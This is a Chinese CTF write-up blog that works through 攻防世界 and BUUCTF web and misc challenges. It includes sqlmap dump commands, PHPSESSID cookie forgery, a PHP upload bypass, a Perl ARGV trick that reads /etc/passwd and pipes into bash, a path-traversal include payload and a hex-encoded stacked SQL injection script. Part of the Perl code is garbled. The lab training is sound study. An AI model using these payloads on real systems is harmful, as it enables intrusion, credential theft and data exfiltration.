天天看點

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

被困在學校的不知道第幾天,仍然ctf,仍然web

攻防世界:

1.Cat(python+Django,url+%80報錯,@檔案傳遞)

題目就叫cat,一看就是一個指令執行 點進去一看,哭了,這不就是省賽的題嘛...55515

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

看這個樣子也很像指令執行,嘗試了一下管道127.0.0.1 | ls,發現是invalid url

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

ping www.baidu.com也不行;

看來指令執行不通啊

看了大佬的wp,果然,大佬就是大佬,跪了。

在url裡面寫:

url?url=%79 會傳回url=y;

%78則是x;

%80則報錯;

url編碼是用的16進制進行編碼,0x80将其轉化為10進制是128,超過127,超出了ascii編碼範圍

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

可以看見報錯報出根目錄,在/api/ping下,咱家也不知道這是用啥寫的網站,百度了一下,這是用python寫的網站,Django架構(好像一般寫python都是用的這個架構)

首先咱沒有提示,其次,咱也沒有在官方文檔中找到以下的東西(不了解python和Django真的難受)

參考自:https://blog.csdn.net/zz_Caleb/article/details/95041031

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

反正就是說,我們要使用@進行檔案傳遞

行,那傳呗

由Django 子產品可知,我們要傳的是settings.py檔案

全篇搜尋api,發現路徑為:/opt/api/dnsapi/

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

嘗試:@/opt/api/dnsapi/settings.py

發現沒反應,難道是路徑錯了?繼續搜尋api,看看能不能找到有用的路徑,沒想到找路徑的時候竟然發現了資料庫名稱,嘗試一下

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)
@/opt/api/database.sqlite3
           

傳回的還是那麼多報錯資訊,行吧,那繼續剛剛尋找settings.py的路徑,繼續搜尋api;

嗯?這個報錯資訊好像不一樣了?,那搜尋一下ctf,竟然真的有,這誰想的到啊

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

2.Triangle

進去就讓我輸flag,我都知道flag了我還在這兒送出? 檢視源代碼:

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

navigator.userAgent.toLowerCase().indexOf(‘firefox’)這個是判斷浏覽器類的函數,是firefox就為1,不是為0;

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

document .getElementById ( ‘password’ ),得到password第一個對象的值,

但是之後的enc_pw和test_pw,get_pw()明顯不是内置函數,也沒有其他代碼對這個函數進行說明,這就很難為我了;

再仔細翻翻,發現有三個js檔案,挨着挨着點開,搜尋我們需要的函數,最終在secret.js裡面出現了那兩個函數的代碼;

整理一下如下:

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

我是真的讨厭js,又多,不想看…,但是能看到那個get_pw能用,那就直接在控制台輸入:

get_pw()
           
菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

出現一段字元串,這是_的值;

_:“XYzaSAAX_PBssisodjsal_sSUVWZYYYb”

還缺少e:那我們現在去找e,啊…不想審計源碼…

百度uc.ARCH_ARM和uc.MODE_ARM: ARM 構架的模拟器來實作加密函數

看了wp,别人的exp:

function getARM1(){
  var x = stoh(atob(getBase64Image("frei")));
  var output = new Array();
  for(var i = 0; i < o1.length ; i++){
    output[i] = x[o1[i]];
  }
  return output;
} 


function toHexString(byteArray) {
  return Array.from(byteArray, function(byte) {
    return ('0' + (byte & 0xFF).toString(16)).slice(-2);
  }).join('')
}

toHexString(getARM1())
           

直接在控制台裡跑:

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

得到:“f2003ed90abd3ed9080a3ed900b03e1500503e1500c83e1500d301cd00f8efcd5df8e71fe0c84b1f0000fb150000000abcf8ee1f060052d95d00001ae000801fe0bd341fe0b08d1fbc0054d93aa6a665e0503e1500003e1500bd3e1500d33e15000a3e1500b03e1500f83e1500413e1500803e15000a3e15003e3e1500c83e15”

将這一串16進制進行ARM轉換

在firefox和chrome浏覽器運作出來的結果不一樣,大概是前面我們看到的要判斷浏覽器類型那裡的原因(别問,問就是死)

在chrome裡面跑出來的才跟wp一樣,為:

770070680abb70680860706800ac70380050703800bd703800954e3a0028d23a0028541534bd201500005d380000000a4d280015060052680000001a3400801534bb071534ac69154d005468be33338b345070380000703800bb7038009570380060703800ac703800287038000e70380080703800f070380070703800bd7038

這個拿去做ARM轉換

就連解密都很惱火,解密位址:http://armconverter.com/hextoarm/

注意解密的類型,還有兩個框都要填寫

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

然後同理得到test_pw和enc_pw的ARM解密(其實想想不就是彙編語言嘛,咱以後慢慢學)

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)
菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)
菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

别問怎麼來的,頭秃(這種東西,以後我再慢慢研究)

然後控制台運作exp:

function findReqR6(){
  var pw = stoh("XYzaSAAX_PBssisodjsal_sSUVWZYYYb"); 
  var required = new Array();
  for(var i = 0 ; i < pw.length; i ++ ){
      var a = pw[i];
      a = a - 5;            
      if(i & 1 == 1){
        a = a + 3;          
      }                     
      required[i] = a;
  }
  return required;
}
htos(findReqR6())
           

繼續構造:

function reverseEnc(argarray){
  var test = 0;
  var output = new Array();

  for(var i = 0 ; i < argarray.length ; i++){
    var x = argarray[i];
    if(test == 1){
      var sub = (i & 3);
      x = x - sub;      
    }
    x = x - 6;
    test = (argarray[i] & 1);
    output[i] = x;
  }
  return output;
}
htos(reverseEnc(findReqR6()))
           
菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

爆出flag,就在這裡都還有坑,flag應該為:

flag:{MPmVH94PTH7hhafgYahYaVfKJNLRNQLZ}

注意有冒号

3.ics-04(sqlmap post --data)

提示說在登入和注冊界面有漏洞,随便注冊一個admin,登入成功;

再注冊一個admin’,發現竟然登不上?難道是過濾了?又試了union select,過濾了’

感覺在登入和注冊這裡沒辦法進行注入啊。

看了别人的wp之後,大驚失色,誰想得到這麼簡單,直接sqlmap就能跑出來

注入頁面在找回密碼那裡,username是注入點

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

這裡要介紹兩種POST送出方式的sqlmap注入使用

第一種是-r,将bp抓得的包放進一個檔案裡面,然後:

sqlmap.py -r bp.txt --dbs
           

還有一種是-data

sqlmap.py -u  url  --data="name=value"
           

是以:

pyaload:

sqlmap.py -u http://111.198.29.45:43263/findpwd.php --data="username=1" --dbs

誰想得到這麼簡單,就直接出來了庫;

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

就不過多累叙了,直接跳到最後:

paylaod:

sqlmap.py -u http://111.198.29.45:43263/findpwd.php --data="username=1" -D cetc004 -T user -C username,password,question,answer --dump
           
菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

用使用者名和密碼去登入,竟然登不上????還有個答案不嘛,那就去找回密碼一下,又錯誤????

看了wp才知道,要拿去注冊,果然是坑,怪不得做出來的人辣麼少

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

而且竟然要重複注冊,真的坑啊;

4.bug(僞造cookie和上傳繞過,php的script寫法,字尾.php4,.php5)

又是登入注冊頁面,随便注冊一個進去吧,進去之後,管理那裡隻有管理者可見

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

那我們嘗試注冊一個admin賬号,發現提示admin已經被注冊;

那現在的目的就是要用admin登入,但我們不知道密碼,是以我們去找回密碼;

随便一個使用者名去找回密碼,注意,這個時候我們的cookie和phpsessid已經發生改變,變成我們登入的使用者名的md5加密;

是以,我們直接更改cooike和phpsessid,換成admin加密之後的值:

4b9987ccafacb8d8fc08d22bbca797ba
           

點選reset,進行admin登入,成功登入:

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

點選管理,彈出ip不允許,大概是内網吧,抓包将ip改成127.0.0.1

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

檢視源代碼,得到提示:

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

仿佛是一個檔案包含,試過之後發現不是

看過wp之後,覺得自己還是太年輕;

大佬都是通過那個filename來判斷upload是上傳點的;

url?/index.php?module=filemanage&do=upload
           
菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

先随意上傳一個圖檔:

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

那上傳一個php,上傳php之後又說這是一個php…我知道這是一個php。。。。。。

行,上傳繞過嘛;

首先檔案擴充名改一下,改成

.php4

或者

.php5

上傳抓包,把類型換一下,改成:

image/jpeg
           

上傳,又說有東西表明這是一個PHP,行,你歪些;

将内容改成:

<script language="PHP">echo "hhh";</script>
           

發送資料包,得到flag

5.i-got-id-200(檔案上傳項ARGV,神仙解題,學習)

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

點進去之後發現files裡面有上傳,嘗試進行上傳,發現上傳之後不能傳回路徑

那去看看表單:

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

可以看見,存在回顯,那嘗試一下注入,感覺所有的都進行了處理;

然後看到了CGI,就去搜了一下它的漏洞,都沒什麼發現

實在不行了,還是得看wp(唉,太菜了)

上傳雖然沒有回顯路徑,但回顯了内容

use strict; use warnings; use CGI;

my $cgi= CGI->new;

if ( $cgi->upload( ‘file’ ) )

{ my $file= c g i − &gt; p a r a m ( ′ f i l e ′ ) ; w h i l e ( &lt; cgi-&gt;param(&#x27;file&#x27; ); while ( &lt; cgi−>param(′file′);while(<file> )

{

print “$_”;

}

}

param()函數會傳回 一個清單的檔案 但是 隻有第一個檔案會被放入到下面的file變量中 。而對于下面的讀檔案邏輯來說,如果我們傳入一個ARGV的檔案,那麼Perl會将傳入的參數作為檔案名讀出來。這樣,我們的利用方法就出現了:在正常的上傳檔案前面加上一個檔案上傳項ARGV,然後在URL中傳入檔案路徑參數,這樣就可以讀取任意檔案了。

這是來自大佬wp的解釋,反正我沒看懂,網上搜了講解:

大概就是,argv[參數],當參數是檔案名的時候打開檔案,是以我們要在url欄裡傳入檔案路徑參數,使之打開檔案;

真的是神仙打架,過程看得我懵;

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

但是我還是沒懂,為什麼要多一行Content-Disposition: form-data; name=“file”,希望有路過的大佬指導一二;

之後在url傳參,

url/cgi-bin/file.pl?/flag
           

就可以直接得到flag了;

如果猜不到檔案路徑,可以在搜CGI漏洞的時候搜到/etc/passwd這個路徑

傳入:

url/cgi-bin/file.pl?/etc/passwd
           
菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

但是我在這個裡面找不到什麼有用的資訊;完全不知道為什麼大佬用管道的時候要:

/cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS} / |
           

而且我也沒有爆出來;希望路過的大佬能指點一二

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

不想web了,做幾道雜項算了

misc

ext3(linux指令:挂載,base64解密)

題目一來下了一個磁盤???? 反正既然叫linux就用linux打開: 使用指令:`strings linux | grep flag` ![在這裡插入圖檔描述](https://img-blog.csdnimg.cn/2019072911544664.png) 可以看見這是與flag有關的一些東西,其中大多是.swp備份檔案,而最長的那個最紮眼,是一個完整的.txt檔案 是以使用mount挂載檔案系統或使用binwalk提取檔案,之後再經過base64轉碼即可;

sudo mount linux /mnt 
           

之後:

cat /mnt/O7avZhikgKgbF/flag.txt 
           
菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

payload:

base64 -d /mnt/O7avZhikgKgbF/flag.txt

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

得到flag;

give_you_flag

雜項的題有時候真的很腦殘。。。比如說這道,一閃而過的二維碼,讓我截下,ps一下把二維碼還原,然後掃。。。。。。。

Excaliflag(圖檔隐寫)

使用stegsolve:

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

得到flag

簽到題

這題一看就是base64解碼; ![在這裡插入圖檔描述](https://img-blog.csdnimg.cn/20190729113516890.png) 解密之後得到:[email protected]_sw{gfhgs#},看着就不對,拿去送出,果然不對; 拿去栅欄解密和rot12解密, 栅欄解密偏移14位: gQg1q0hjts{fg#[email protected]_wghs} 然後用此拿去ROT12(這個rot12是個什麼啊,網上搜不到這個) 雖然我不知道怎麼看出來的,反正就得到了flag: ssctf{ssCtf_seC10ver#@rabit}

BUUCTF(檔案包含)

1.Warmup 這張表情包真的很emmmm。。。。,

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

檢視源碼,得到source.php,通路,直接爆出源碼,看來,這又是一道源碼審計的題;

源碼:

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 
           

發現還有hint.php,去通路一下:

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

好,那flag就在fffflllaaaagggg裡面,傳回去看源代碼

裡面有兩個函數:in_array和mb_strpos

in_array(參數1,參數2)是在參數2這個數組中中尋找參數1,

mb_strpos:跟strpos差不多

是以,以上代碼大概是:

我們需要一個參數,參數的内容如果在白名單裡就為真;如果存在?,就截取?前面的一部分;

并且對file進行了url解碼,意味着我們的url可以進行url編碼;

差不多就是個檔案包含的問題

構造file為:?file=hint.php?../…/…/ffffllllaaaagggg

為了不截取?前面的,對?進行url二次加密;

?–>%3f—>%253f

構造payload:

?file=hint.php%253f../../../../../../ffffllllaaaagggg
           

flag就出來了

但是這裡我不懂的是為什麼就是…/…/…/…/…/…/,試出來的嗎?

7.随便注(堆疊注入)

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

一道sql注入題,并且對特殊字元串進行了過濾

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

看來查庫不能用select database()

那咋辦?大佬講解的堆疊注入(自己思維太狹隘了,唉)

堆疊注入:;代表一條語句結束,而我們可以用語句1;語句2;語句3;來先執行語句1再執行語句2再執行語句3;聯合注入的執行語句就那幾種,但堆疊注入可以執行任何語句;

并且,爆表可以使用:

show tables;
           

是以,

paylaod:

1';show tables;#

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

爆出兩個表名,挨着挨着看表的結構:

desc xxx; 收集表名以及表的結構,具體可見:https://blog.csdn.net/BlueBlueSkyZ/article/details/52448243

payload:

1';desc'1919810931114514';#

但我沒爆出來,參考了其他方法

1'; show columns from ‘1919810931114514’; 
           

也沒爆出來,行吧,那爆一下words,雖然爆出來了但是沒有想要的flag;

最終用:

1';show create table `1919810931114514`;
           

爆出來了這個表:

菜鳥慢慢爬行————web(3)攻防世界:BUUCTF(檔案包含)

可以看見,裡面有flag,嘗試直接爆flag,不可能的

上腳本:

#coding=utf-8
import requests
#1919810931114514
part_url='http://web16.buuoj.cn/?inject='
payload="select flag from `1919810931114514`;"
payload=payload.encode('hex')
payload='''1';Set @x=0x'''+str(payload)+''';Prepare a from @x;execute a;%23'''
print payload
full_url=part_url+payload
r=requests.get(url=full_url)
print r.content
           

得到flag

這個腳本是先編譯了sql語句,對sql語句進行16進制編碼,然後用execute來執行,這裡16進制編碼的payload在編譯中又可以轉化回來,

大佬大佬,遭不住遭不住;